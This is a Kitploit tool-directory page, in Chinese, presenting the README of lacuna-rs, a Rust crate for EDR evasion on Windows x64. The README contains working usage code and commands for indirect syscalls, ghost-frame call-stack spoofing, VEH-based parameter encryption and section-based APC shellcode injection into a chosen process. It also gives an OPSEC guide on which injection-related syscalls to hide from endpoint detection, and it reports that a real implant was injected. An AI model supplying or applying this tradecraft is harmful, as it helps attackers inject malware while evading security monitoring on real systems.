Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
lacuna-rs — 用于Windows x64上的幽灵帧调用栈欺骗、运行时间接系统调用和APC注入的Rust crate。提供SSN解析、JIT存根生成和基于VEH的参数加密,用于绕过EDR。 | Kitploit
工具/GitHubGitHub/karkas66/lacuna-rs
Shellcode后渗透利用红队Payload 开发二进制利用
GitHubkarkas66/lacuna-rs

lacuna-rs

用于Windows x64上的幽灵帧调用栈欺骗、运行时间接系统调用和APC注入的Rust crate。提供SSN解析、JIT存根生成和基于VEH的参数加密,用于绕过EDR。

查看仓库
181633个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

lacuna-rs

Ghost-frame 调用栈欺骗 + 运行时间接系统调用,适用于 Windows x64 — 移植到 Rust。

从 Mohamed Alzhrani (0xmaz) 的 LACUNA Chain (lacuna_chain.c) 移植而来。

lacuna-rs 是一个可复用的 Rust crate,提供与原始 C TTP 相同的原语,结构设计使其可以轻松嵌入任何 Rust 项目 —— 类似于 wsyscall-rs 或 syscalls-rs,但具备运行时 SSN 解析、每个函数的 syscall;ret 定位以及幽灵帧栈欺骗。


关键:帧指针要求

如果使用 crate 的项目未编译帧指针,stack-spoof 功能将静默失效。

chain.rs 中的栈覆盖原语通过 mov rbp, {x} 内联汇编定位调用者的返回地址槽。这要求 RBP 链保持完整。Rust(以及大多数发布模式编译器)默认省略帧指针。

build.rs 为该 crate 自身的代码生成设置了 force-frame-pointers=yes,但 Cargo 无法将编译器标志传播到下游 crate。 您必须在自己项目的配置中添加:

# .cargo/config.toml  (在 YOUR crate 中,而非 lacuna-rs 中)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

没有这个设置,stomp_plant() 将从 RBP 读取垃圾数据,导致无操作(最好情况)或损坏栈(最坏情况)。该 crate 无法在运行时检测帧指针是否启用 —— 它只会不工作。

如果您只需要扫描、SSN 解析或注入原语(不需要栈欺骗),则可以省略 stack-spoof 功能,此要求不适用。


它能做什么

原语C 函数Rust 模块
PE 节 + 导出解析pe_section(), pe_export()pe
.pdata 幽灵区域扫描scan_ghosts(), best_ghost()scan
幽灵 gadget 发现 (jmp [rbx])scan_ghost_gadgets()scan
win32u NOP-gap 查找器win32u_nop_gap()scan
BYOUD-MF 锚点查找器find_mf_target()scan
SSN 解析(Hell's Gate / Halo's Gate)resolve_ssn()nt
每个函数的 syscall;ret 定位器find_func_syscall()nt
JIT 间接系统调用桩发射alloc_stub()stub
幽灵 gadget 桩重定向(位于 alloc_stub() 中)stub
VEH + 硬件断点参数加密param_encrypt_veh(), pcrypt_arm()veh
链保护 VEHchain_veh()veh
LACUNA 链构建build_chain()chain
栈覆盖(BYOUD-RT)stomp_plant(), stomp_restore()chain
链行走器(验证)lacuna_walk_chain()chain
基于节的 APC 注入do_inject_sapc()inject

特性标记

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
特性描述需要帧指针?
syscalls (默认)SSN 解析 + JIT 桩发射否
inject (默认)基于节的 APC 注入 (inject::inject_sapc)否
vehVEH + 硬件断点参数加密否
stack-spoofLACUNA 幽灵帧链 + 栈覆盖是
no-stdno_std 模式(实验性)否

当没有启用任何特性时,仅提供扫描/PE/NT 层。


快速开始

扫描幽灵区域

cargo run --example scan

构建并验证幽灵帧链

cargo run --example verify --features stack-spoof

通过节 + APC 注入 shellcode

注入证明 使用真实植入物的注入示例 - C2 离线但 Shellcode 已执行

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

添加 --verbose 以启用 VEH 诊断输出(栈转储、寄存器打印):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

线程评分算法

inject_sapc 不是向目标进程中的每个线程都排队 APC(当过多线程同时被通知时可能导致进程崩溃),而是使用评分算法选择最佳的 MAX_APC_THREADS(5)个候选:

  • 周期时间 — NtQueryInformationThread(ThreadCycleTime) — 主要活动指标
  • CPU 时间 — NtQueryInformationThread(ThreadTimes) — 内核 + 用户时间
  • 挂起计数 — NtQueryInformationThread(ThreadSuspendCount) — 未挂起线程获得 +300 奖励;每个挂起计数的线程获得 -150 惩罚
  • 优先级 — NtQueryInformationThread(ThreadBasicInformation) — 优先级 8-10 的线程获得 +150 奖励;范围外的优先级获得 -100 惩罚

完全空闲的线程(零周期和零 CPU 时间)将被跳过。剩余的候选者按分数排序(从高到低,平局时依据周期数),并截取前 5 个。


作为库使用

基础:扫描 + SSN 解析

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// 扫描幽灵区域
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("ntdll 中有 {} 个幽灵区域", n);

// 解析特定函数的 SSN + syscall;ret
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

为任意 NT API 发射间接系统调用桩

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// 解析 SSN + 函数自身的 syscall;ret 地址
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT 发射桩:mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (如果调用了 build_chain,则变为 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("桩分配失败");

// 转换为匹配的函数指针类型并调用
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

构建幽灵帧链 + 注册 VEH

// 扫描 ntdll/kernelbase/wow64/win32u 以获取幽灵区域并构建
// 六层假调用栈。设置 G_GHOST_GADGET,使桩通过已签名 DLL 中的 JMP [RBX] 路由。
lacuna::chain::build_chain();

// 注册 VEH 处理程序(参数加密 + 链保护)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 注册失败");

// 可选:在运行时启用详细诊断
lacuna::veh::set_verbose(true);

使用栈欺骗 + 参数加密包装敏感系统调用

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// 种植幽灵帧(用已签名 DLL 的幽灵替换返回地址)
lacuna::chain::stomp_plant();

// 在 syscall;ret 上装备 DR0 —— VEH 将在边界处 XOR 解密参数
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// 通过间接桩调用 —— RIP 将位于 ntdll 的内核入口处
let _status = unsafe { open_proc(/* XOR 加密的参数 */) };

// 在任何非保护调用之前始终解除装备
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC:哪些调用应隐藏在幽灵帧之后

并非每个 API 调用都需要完整的 LACUNA 处理。关键原则是:隐藏那些 EDR 会关联为注入或后利用活动痕迹的调用。

必须位于间接系统调用 + 幽灵帧 + 参数加密之后

这些是 EDR 挂钩并关联的“皇冠上的明珠”NT 系统调用:

调用为何敏感
NtOpenProcess打开另一个进程的句柄 —— 注入的第一步
NtCreateSection + NtMapViewOfSection (远程)基于节的注入签名
NtWriteVirtualMemory跨进程写入 —— 经典注入指示器
NtCreateThreadEx远程线程创建 —— 最高信号的注入原语
NtQueueApcThreadAPC 注入 —— 高信号
NtProtectVirtualMemoryRWX 权限更改 —— shellcode 暂存指示器
NtAllocateVirtualMemory (远程)远程分配 —— 注入前奏
NtSetInformationThread线程隐藏 (HideFromDebugger) —— 逃避指示器

对于以上每个调用:

  1. 使用 nt::resolve(ntdll, b"NtXxx\0") 解析
  2. 使用 stub::make_stub(ssn, syscall_ret) 发射桩
  3. 使用 veh::pcrypt_arm(key, syscall_ret, true) 对敏感参数进行 XOR 加密
  4. 将调用包装在 chain::stomp_plant() 和 chain::stomp_restore() 之间

可以直接调用(无需幽灵帧)

调用为何安全
NtQueryInformationThread仅查询,很少被挂钩,无跨进程写入
NtDelayExecution休眠 —— 良性,每个应用程序都在使用
NtClose关闭句柄 —— 良性,极为常见
GetModuleHandleA / GetProcAddress模块解析 —— 不是系统调用,EDR 用户态挂钩无法挂钩
CreateToolhelp32Snapshot / Thread32First / Thread32Next线程枚举 —— kernel32,不是 ntdll 系统调用
OpenThread / CloseHandle标准句柄操作 —— kernel32
GetThreadContext / SetThreadContext需要用于 DR0 —— kernel32,仅自进程

关键原则

  1. 解析 任何 NT 系统调用使用 nt::resolve(ntdll, b"NtXxx\0") —— 返回 (SSN, syscall_ret_VA)。
  2. 发射 JIT 桩使用 stub::make_stub(ssn, syscall_ret) —— 返回可调用的函数指针。
  3. 转换 桩为适当的 extern "system" fn(...) 类型,使用 core::mem::transmute。
  4. (仅敏感调用) 使用 chain::build_chain() 构建幽灵帧链,并在调用前后调用 chain::stomp_plant() / chain::stomp_restore()。
  5. (仅敏感调用) 在调用前使用 veh::pcrypt_arm(key, syscall_ret, true) 装备参数加密,调用后使用 veh::pcrypt_disarm()。
  6. 始终在发出非保护调用前解除 VEH 装备 —— 未装备的 syscall 上意外的 DR0 命中将导致崩溃。
  7. 所有输出字符串必须用 lc!() 包裹 —— crate 强制执行此规则,VEH 诊断受 set_verbose(true) 控制,默认关闭。

桩自动处理 mov r10, rcx / mov eax, SSN / jmp [syscall;ret] 序列。如果注册了幽灵 gadget,桩将通过 JMP [RBX] 路由,实现双重用途的执行重定向 + 零痕迹桥帧。


技术文章覆盖验证

来自 LACUNA Chain 技术文章 的 9 项关键贡献均在代码中体现:

下载工具